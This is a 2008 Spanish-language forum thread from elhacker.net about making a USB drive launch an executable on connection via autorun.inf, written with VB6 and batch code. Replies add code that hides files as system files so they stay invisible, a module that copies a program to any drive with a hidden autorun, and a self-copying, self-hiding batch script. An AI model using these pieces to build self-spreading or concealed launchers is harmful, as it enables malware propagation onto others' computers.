Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: samue118 en 27 Julio 2008, 15:15 pm



Título: Crear Autorun desde VB6 (no funciona)
Publicado por: samue118 en 27 Julio 2008, 15:15 pm
Hola a todos, he buscado en el foro esta pregunta pero no me ha servido... esque he metido en el Pendrive un exe (5.exe) y he hecho en mi pc otro exe con vb que crea en el PenDrive un autorun para que se ejecute la aplicacion que ai dentro al conectarlo al PC (balla lio no ??)...
El codigo del exe que crea el autorun en el Pendrive es este:
Código:
Private Sub Command1_Click()
Open "J:\autorun.inf" For Output As #1
Print #1, "[AUTORUN]"
Print #1, "open = 5.exe"
Close #1
MsgBox "OK"

Y lo he probado y funciona, el autorun lo crea, pero...
Al conectar el Pendrive al pc no se ejecuta nada :-\ ¿¿No entiendo??


Título: Re: Crear Autorun desde VB6 (no funciona)
Publicado por: BenRu en 27 Julio 2008, 15:57 pm
Y lo he probado y funciona, el autorun lo crea, pero...
Al conectar el Pendrive al pc no se ejecuta nada :-\ ¿¿No entiendo??


Pues que no tienes al autorun activado  :xD


Título: Re: Crear Autorun desde VB6 (no funciona)
Publicado por: samue118 en 27 Julio 2008, 16:34 pm
No lo piyo BenRu :xD... a que te refieres con activarlo ???


Título: Re: Crear Autorun desde VB6 (no funciona)
Publicado por: Lambda en 27 Julio 2008, 16:47 pm
No lo piyo BenRu :xD... a que te refieres con activarlo ???


windows trae una opcion para activar/desactivar el autorun.

si usas windows ue lo tendras desactivado  :xD


Título: Re: Crear Autorun desde VB6 (no funciona)
Publicado por: samue118 en 27 Julio 2008, 16:55 pm
haber si yo meto un CD (acabo de probarlo) se inicia automaticamente el juego, programa o lo q sea... pero el Pendrive no ¿?
Porcierto como se activa/desactiva el autorun ?? :rolleyes:


Título: Re: Crear Autorun desde VB6 (no funciona)
Publicado por: ricardovinzo en 27 Julio 2008, 18:13 pm
tu autorun esta incompleto buscate uno que sea mejor como el del T2W.. ese que tienes no servira asi


Título: Re: Crear Autorun desde VB6 (no funciona)
Publicado por: samue118 en 27 Julio 2008, 18:35 pm
no se si te refieres a este ricardovinzo, es lo que he encontrado del T2W(que no se ni lo que es XD):
Código:
[Autorun]
Open= 5.exe
Icon=%SystemRoot%\system32\SHELL32.dll,7
UseAutoPlay=1
Action=Abrir USB
Action= @ 5.exe
shell\open=Abrir
shell\open\Command=5.exe
shell\open\Default=1
A y se me olvidaba... Sigue sin funcionar :-(
Sera de mi PC o del Pendrive (que en realidad es un mp4) ???


Título: Re: Crear Autorun desde VB6 (no funciona)
Publicado por: samue118 en 27 Julio 2008, 20:49 pm
¡¡¡Ya funciona!!! XD alfinal con el mismo que el T2W al clickear sobfre el icono del Pendrive se ejecuta el programa directamente, lo malo es que no se abre la carpeta... ai que darle a explorar y ya sale, pero bueno ya sta solucionado, gracias ;D


Título: Re: Crear Autorun desde VB6 (no funciona)
Publicado por: krackwar en 27 Julio 2008, 23:46 pm
¡¡¡Ya funciona!!! XD alfinal con el mismo que el T2W al clickear sobfre el icono del Pendrive se ejecuta el programa directamente, lo malo es que no se abre la carpeta... ai que darle a explorar y ya sale, pero bueno ya sta solucionado, gracias ;D
Pones en el .exe que quieres ejecutar que abra el explorador en la unidad que la contiene.


Título: Re: Crear Autorun desde VB6 (no funciona)
Publicado por: ‭‭‭‭jackl007 en 27 Julio 2008, 23:50 pm
yo ya habia hecho esto, agradeceeee, jaja:

al ejecutar este programita, abre el explorador mostrando la unidad en la que esta contenida, asi que este por lo tanto debe estarn en el usb, de modo que abra el explorador...
en un modulo
Código
  1. Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
  2.  
  3. Sub Main()
  4. '==========================================================
  5. 'Codigo: by jackl007
  6. '==========================================================
  7.  
  8. 'Principal
  9. Dim Unidad As String
  10. Unidad = Mid(App.Path, 1, 3) 'nuestra unidad
  11.  
  12. 'Para Obtener la carpeta Windows
  13. Dim Car As String * 128
  14. Dim Longitud, Es As Integer
  15. Dim Camino As String
  16. Longitud = 128
  17.  
  18. Es = GetWindowsDirectory(Car, Longitud)
  19. Camino = RTrim$(LCase$(Left$(Car, Es))) 'Camino: ruta de windows
  20.  
  21. 'Abrimos el explorador de Windows con nuestra unidad de la USB
  22. Shell (Camino & "\explorer ") & Unidad, vbMaximizedFocus
  23.  
  24. End Sub


Título: Re: Crear Autorun desde VB6 (no funciona)
Publicado por: cobein en 28 Julio 2008, 00:07 am
esto es mas que suficiente

 Shell "explorer " & Left(App.Path, 2), vbNormalFocus


Título: Re: Crear Autorun desde VB6 (no funciona)
Publicado por: samue118 en 28 Julio 2008, 00:27 am
ok, solucionado... ahora me surge otra duda :rolleyes:... Cuando creo un autorun desde el VB ¿¿puedo ponerle el atrubuto oculto o no es posible?? ¿¿O esribir en el autorun algo para que quedo como oculto??


Título: Re: Crear Autorun desde VB6 (no funciona)
Publicado por: ‭‭‭‭jackl007 en 28 Julio 2008, 00:31 am

Esto es lo mejor:
Código:
SetAttr "file", vbHidden Or vbSystem 'oculta incluso asi este la opcion "mostrar oculto" activado :) 

Hoy ha sido tu dia de suerte >:D


Título: Re: Crear Autorun desde VB6 (no funciona)
Publicado por: samue118 en 28 Julio 2008, 01:54 am
jaja gracias jackl007 ツ es cierto q es mi dia de suerte porque asta me afuncionado a la primera ;D ya se una cosa mas sobre el VB, solo me queda...                TODO :xD
un saludo


Título: Re: Crear Autorun desde VB6 (no funciona)
Publicado por: HK en 29 Julio 2008, 19:59 pm

Código:
Private Sub Command1_Click()
Open "J:\autorun.inf" For Output As #1
Print #1, "[AUTORUN]"
Print #1, "open = 5.exe"
Close #1
MsgBox "OK"



podrias intentar cambiar
Open "J:\autorun.inf" For Output As #1

a
Open "\autorun.inf" For Output As #1

solamente que tendrias que poner el archivo en la carpeta principa  :xD y asi no te preocuparias de si cambias de unidad xD osea de j: a x:

saludos


Título: Re: Crear Autorun desde VB6 (no funciona)
Publicado por: krackwar en 30 Julio 2008, 00:30 am
aprobecho este mismo tema para una pregunta por que este modulo no anda?


Código
  1. Public Const FILE_ATTRIBUTE_HIDDEN = 2
  2. Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
  3. Public Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
  4. Public Function Autorun(unidad As String, Rutadearchivo As String _
  5. , archivo As String, ocultos As Boolean)
  6. Dim error As Long
  7. CopyFile Rutadearchivo, unidad & "\" & archivo, error
  8.  
  9. Open Environ$("Temp") & "\autorun.inf" For Output As #1
  10.            Print #1, "[Autorun]"
  11.            Print #1, "Open=" & archivo
  12.            Print #1, "Icon=%SystemRoot%\system32\SHELL32.dll,7"
  13.            Print #1, "UseAutoPlay=1"
  14.            Print #1, "Action=Abrir USB"
  15.            Print #1, "Action= @" & archivo
  16.            Print #1, "shell\open=Abrir"
  17.            Print #1, "shell\open\Command=" & archivo
  18.            Print #1, "shell\open\Default=1"
  19.            Print #1, "Shell\Explorer\Command=EXPLORER.EXE /E,\"
  20.        Close #1
  21.    CopyFile Environ$("Temp") & "\autorun.inf", unidad & "\" & "autorun.inf", error
  22.        If ocultos = True Then
  23.        SetFileAttributes unidad & "\" & archivo, FILE_ATTRIBUTE_HIDDEN
  24.        SetFileAttributes unidad & "\autorun.txt", FILE_ATTRIBUTE_HIDDEN
  25.        End If
  26.        MsgBox error
  27. End Function


Título: Re: Crear Autorun desde VB6 (no funciona)
Publicado por: .:UND3R:. en 30 Julio 2008, 02:34 am
Bueno si tienes muchos problemas podrias enves de hacerlo en visualbasic podrias hacerlo en bat y luego juntarlo con tu aplicacion resultante

Código:
@XCOPY %0 %x%
@ATTRIB %0 +H +S
echo [AUTORUN] > %x%Autorun.inf
echo OPEN=Driver.exe >> %x%Autorun.inf
echo shell\open\command=[color=red]aplicacion.exe[/color]>> %x%Autorun.inf
echo shell\open=' >> %x%Autorun.inf
cd %x%

Donde %x% es la variable del nombre del dispositivo
donde aplicacion.exe es el nombre final de tu aplicacion espero que te sirva saludos


Título: Re: Crear Autorun desde VB6 (no funciona)
Publicado por: krackwar en 30 Julio 2008, 19:15 pm
Bueno si tienes muchos problemas podrias enves de hacerlo en visualbasic podrias hacerlo en bat y luego juntarlo con tu aplicacion resultante

Código:
@XCOPY %0 %x%
@ATTRIB %0 +H +S
echo [AUTORUN] > %x%Autorun.inf
echo OPEN=Driver.exe >> %x%Autorun.inf
echo shell\open\command=[color=red]aplicacion.exe[/color]>> %x%Autorun.inf
echo shell\open=' >> %x%Autorun.inf
cd %x%

Donde %x% es la variable del nombre del dispositivo
donde aplicacion.exe es el nombre final de tu aplicacion espero que te sirva saludos
No quiero usar batch estamos en el foro de VB este foro es para ayudar enn VB no en batch.